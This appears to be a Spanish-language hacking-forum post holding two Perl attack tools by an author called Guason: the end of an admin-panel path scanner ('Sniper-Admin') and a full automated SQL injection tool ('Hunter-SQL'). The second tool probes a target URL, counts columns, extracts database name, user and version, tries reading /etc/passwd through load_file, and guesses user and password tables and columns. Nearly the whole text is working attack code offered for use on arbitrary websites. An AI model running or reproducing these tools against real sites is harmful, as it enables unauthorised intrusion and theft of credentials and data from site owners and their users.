"administrator/account.php","administrator.php","administrator.html","login.php","login.html",
"modelsearch/login.php","moderator.php","moderator.html","moderator/login.php","moderator/login.html",
"moderator/admin.php","moderator/admin.html","moderator/","account.php","account.html","controlpanel/",
"controlpanel.php","controlpanel.html","admincontrol.php","admincontrol.html","adminpanel.php",
"adminpanel.html","admin1.asp","admin2.asp","yonetim.asp","yonetici.asp","admin/account.asp",
"admin/index.asp","admin/login.asp","admin/home.asp","admin/controlpanel.asp","admin.asp","admin/cp.asp",
"cp.asp","administrator/index.asp","administrator/login.asp","administrator/account.asp","administrator.asp",
"login.asp","modelsearch/login.asp","moderator.asp","moderator/login.asp","moderator/admin.asp","account.asp",
"controlpanel.asp","admincontrol.asp","adminpanel.asp","fileadmin/","fileadmin.php","fileadmin.asp",
"fileadmin.html","administration/","administration.php","administration.html","sysadmin.php","sysadmin.html",
"phpmyadmin/","myadmin/","sysadmin.asp","sysadmin/","ur-admin.asp","ur-admin.php","ur-admin.html","ur-admin/",
"Server.php","Server.html","Server.asp","Server/","wp-admin/","administr8.php","administr8.html",
"administr8/","administr8.asp","webadmin/","webadmin.php","webadmin.asp","webadmin.html","administratie/",
"admins/","admins.php","admins.asp","admins.html","administrivia/","Database_Administration/","WebAdmin/",
"useradmin/","sysadmins/","admin1/","system-administration/","administrators/","pgadmin/","directadmin/",
"staradmin/","ServerAdministrator/","SysAdmin/","administer/","LiveUser_Admin/","sys-admin/","typo3/",
"panel/","cpanel/","cPanel/","cpanel_file/","platz_login/","rcLogin/","blogindex/",
"formslogin/","autologin/","support_login/","meta_login/","manuallogin/","simpleLogin/",
"loginflat/","utility_login/","showlogin/","memlogin/","members/","login-redirect/","sub-login/",
"wp-login/","login1/","dir-login/","login_db/","xlogin/","smblogin/","customer_login/","UserLogin/",
"login-us/","acct_login/","admin_area/","bigadmin/","project-admins/","phppgadmin/","pureadmin/",
"sql-admin/","radmind/","openvpnadmin/","wizmysqladmin/","vadmind/","ezsqliteadmin/",
"hpwebjetadmin/","newsadmin/","adminpro/","Lotus_Domino_Admin/","bbadmin/","vmailadmin/",
"Indy_admin/","ccp14admin/","irc-macadmin/","banneradmin/","sshadmin/","phpldapadmin/","macadmin/",
"administratoraccounts/","admin4_account/","admin4_colon/","radmind-1/","Super-Admin/","AdminTools/",
"cmsadmin/","SysAdmin2/","globes_admin/","cadmins/","phpSQLiteAdmin/","navSiteAdmin/","server_admin_small/",
"logo_sysadmin/","server/","database_administration/","power_user/","system_administration/","ss_vms_admin_sm/");
my $web = $ARGV[0];
unless ($ARGV[0]) {
print "\n\n\t\t\tSniper-Admin by Guason\t\t\t\n\n";
print "\nModo de uso perl $0 <WEB>\n\n";
print "<WEB> = Web solamente ejemplo = http://www.petardas.com/\n\n";
exit 1;
}
logo();
print "\n\n";
print "Buscando paths en $web\n\n\n";
foreach $paths(@path) {
$junto = $web.$paths;
$lwp = LWP::UserAgent->new();
$code = $lwp -> get($junto);
if($code->content =~ /Username/ ||
$code->content =~ /Password/ ||
$code->content =~ /username/ ||
$code->content =~ /password/ ||
$code->content =~ /USERNAME/ ||
$code->content =~ /PASSWORD/ ||
$code->content =~ /Senha/ ||
$code->content =~ /senha/ ||
$code->content =~ /Personal/ ||
$code->content =~ /Usuario/ ||
$code->content =~ /Clave/ ||
$code->content =~ /Usager/ ||
$code->content =~ /usager/ ||
$code->content =~ /Sing/ ||
$code->content =~ /passe/ ||
$code->content =~ /P\/W/ ||
$code->content =~ /Admin Password/
) {
print "Se encontro $path\n";
}
}
print "\n\n\n\nScan Finalizado\n\n";
print "\n\nWritten by Guason || 2009\n\n";
print "Visita infierno-hacking.webcindario.com & guason-cracker.blogspot.com\n\n";
exit 1;
sub logo {
print "\n\t\t\tSniper-Admin Version 0.1 || Written by Guason\t\t\t\n";
}
#Agradecimientos = none =0
#Email = [email protected]
#Web = infierno-hacking.webcindario.com
#Blog = guason-cracker.blogspot.com
#Good Bye
Citarperl No tienes permitido ver enlaces. Registrate o Entra a tu cuenta No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#Name program = Hunter-SQL
#Version = 1.0
#Autor = Guason
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
'name','names','nombre','nombres','usuarios','member','members','admin_table',
'miembro','miembros','membername','admins','administrator',
'administrators','passwd','password','passwords','pass','Pass',
'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
'member_password','mods','mod','moderators','moderator','user_email',
'user_emails','user_mail','user_mails','mail','emails','email','address',
'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
'sistema_usuario','sistema_password','contrasena','auth','key','senha',
'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
'associated','accnt','customers','customer','membres','administrateur','utilisateur',
'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
my $host = $ARGV[0];
if (!$ARGV[0]) {
print q (
¦ ¦ ¦ ¦ ¦ ¦ ¦¦¦ ¦¦¦¦ ¦¦¦ ¦¦¦ ¦¦ ¦
¦ ¦ ¦ ¦ ¦¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦¦¦¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦¦¦ ¦¦¦ ¦¦¦¦ ¦¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦¦ ¦
¦ ¦ ¦¦ ¦ ¦ ¦ ¦¦¦¦ ¦ ¦ ¦¦¦ ¦ ¦ ¦¦¦¦
Modo de uso = perl hunter-sql.pl http://host.com/index.php?id=
Written by Guason
);
exit 1;
}
open ( FILE , ">>c:/hunter-log.txt" );
$cmn.= "+";
$cfin.="--";
print "\n\n";
print q (
¦ ¦ ¦ ¦ ¦ ¦ ¦¦¦ ¦¦¦¦ ¦¦¦ ¦¦¦ ¦¦ ¦
¦ ¦ ¦ ¦ ¦¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦¦¦¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦¦¦ ¦¦¦ ¦¦¦¦ ¦¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦¦ ¦
¦ ¦ ¦¦ ¦ ¦ ¦ ¦¦¦¦ ¦ ¦ ¦¦¦ ¦ ¦ ¦¦¦¦
);
print "[?] Verificando vulnerabilidad de $host.....\n\n";
$sql=$host."-1".$cmn."union".$cmn."select".$cfin;
$response=get($sql);
if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ || $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/)
{
print "[+] Vulnerable, Siguiendo Parametros del Programa\n\n";
print FILE "\n\n";
print FILE "TARGET = $host\n\n";
} else {
print "[-] El sitio NO es vulnerable\n\n";
exit 1;
}
print "[+] Buscando numeros de columnas\n\n";
for ($column = 0 ; $column < 45; $column ++)
{
$union.=','.$column;
$inyection.=','."0x677561736f6e";
if ($column == 0)
{
print FILE "\nNumero de columnas:\n\n";
$inyection = '';
$union = '';
}
$sql=$host."-1".$cmn."union".$cmn."select".$cmn."0x677561736f6e".$inyection.$cfin;
$response=get($sql);
if($response =~ /guason/)
{
$column ++;
print "[+] El sitio tiene $column columnas\n\n";
$sql=$host."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
print FILE "\n\n";
print FILE"Inyeccion sql = $sql\n";
&come;
}
}
&come;
sub come {
print "[+] Extrayendo base de datos\n\n";
$sql=$host."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
my $url = $sql ;
($ura,$numeros) = $url =~ m{(.*)\+(.*)$}g;
print "\n";
print "Extrayendo datos de la url\n\n";
print "Url = $ura\n";
print "Numeros = $numeros\n";
print "\n";
$especial = venga($numeros);
$especial = "4";
$string_datos_db = 'concat(0x494e,database(),0x3A,user(),0x3A,version(),0x46494e)';
$numeros =~s/$especial/$string_datos_db/;
$url = $ura."+".$numeros;
print "\n\n";
print "$url\n";
my $cnx = LWP::UserAgent->new() or die;
$go=$cnx->get($url);
my $source = $go->content();
($db,$user,$version) = $source =~ m{IN(.*):(.*):(.*)FIN}g;
print "\n\n";
print "\n\n";
print "Extrayendo base de datos\n\n";
print "Nombre de base = $db\n";
print "User = $user\n";
print "Version db = $version\n";
print "\n\n";
print FILE "\n\n";
print FILE "#############################################\n";
print FILE "Extrayendo base de datos\n\n";
print FILE "Nombre de base = $db\n";
print FILE "User = $user\n";
print FILE "Version db = $version\n";
print FILE "#############################################\n";
print FILE "\n\n";
sub venga{
local $numeros = $_[0];
$numeros = split(",",$numeros);
for ($x=1;$x<=$numeros;$x++){
$url_hex = $url_hex.hex_sql("ACA$x").",";
}
chop($url_hex);
$url_inject = $ura."+".$url_hex."--";
print "\n\n";
print "$url_inject\n";
my $cnxe = LWP::UserAgent->new() or die;
$go=$cnxe->get($url_inject);
my $source_url_hex = $go->content();
( @match_ACA) = $source_url_hex =~ m{ACA(\d+)}g;
$especial = @match_ACA[int(rand( @match_ACA))];
return $especial;
}
sub hex_sql($) {
(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;return "0x$str";
}
print "[+] Verificando existencia de Information_Schema\n\n";
$sql=$host."-1".$cmn."union".$cmn."select".$cmn."0x677561736f6e".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
$response=get($sql);
if($response =~ /guason/)
{
print "[+] Schema esta activado.......\n\n";
$sql=$host."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
print FILE "\n\nInyeccion SQL para schema:\n\n$sql\n"
}
else
{
print "[-] Information Schema NO esta activada\n\n";
}
print "[+] Verificando existencia de Mysql User\n\n";
$sql=$host."-1".$cmn."union".$cmn."select".$cmn."0x677561736f6e".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
$response=get($sql);
if($response =~ /guason/)
{
print "[+] Mysql User esta activo\n\n";
$sql=$host."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
print FILE "Inyeccion SQL para mysqluser = $sql\n\n";
}
else
{
print "[-] Mysql User NO esta activado\n\n";
}
while ($loadcont < $column-1)
{
$loadfile.=','.'load_file(0x2f6574632f706173737764)';
$loadcont++;
}
print "[+] Verificando existencia de LOAD-FILE...\n\n";
$sql=$host."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
$response=get($sql);
if($response =~ /root:x:/)
{
print "[+] LOAD-FILE esta activo\n\n";
print FILE "load_file(0x2f6574632f706173737764) => OK! (0x2f6574632f706173737764 => /etc/passwd)\n\n";
} else {
print "[-] LOAD-FILE NO esta activado\n\n";
}
print "[+] Buscando Tablas.......\n\n";
print FILE " [Tablas]:\n\n";
foreach $tabla(@nombretabla)
{
chomp($tabla);
$sql=$host."-1".$cmn."union".$cmn."select".$cmn."0x677561736f6e".$inyection.$cmn."from".$cmn.$tabla.$cfin;
$response=get($sql);
if($response =~ /guason/)
{
print "[?] Se encontro $tabla\n";
print FILE "$tabla\n";
}
}
print "\n\n";
print "Escribe el nombre de la tabla a brutear =";
$tabla = <STDIN>;
chomp $tabla;
print "\n\n";
print FILE "\n\n[Columnas de la tabla $tabla]:\n\n";
foreach $columna(@nombrecolumna)
{
chomp($columna);
$sql=$host."-1".$cmn."union".$cmn."select".$cmn."concat(0x677561736f6e,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
$response=get($sql);
if ($response =~ /guason/)
{
print "[?] Se encontro $columna\n";
print FILE "$columna\n";
}
print "\n\n";
print "[?] El programa ha finalizado........\n\n";
exit 1;
}
}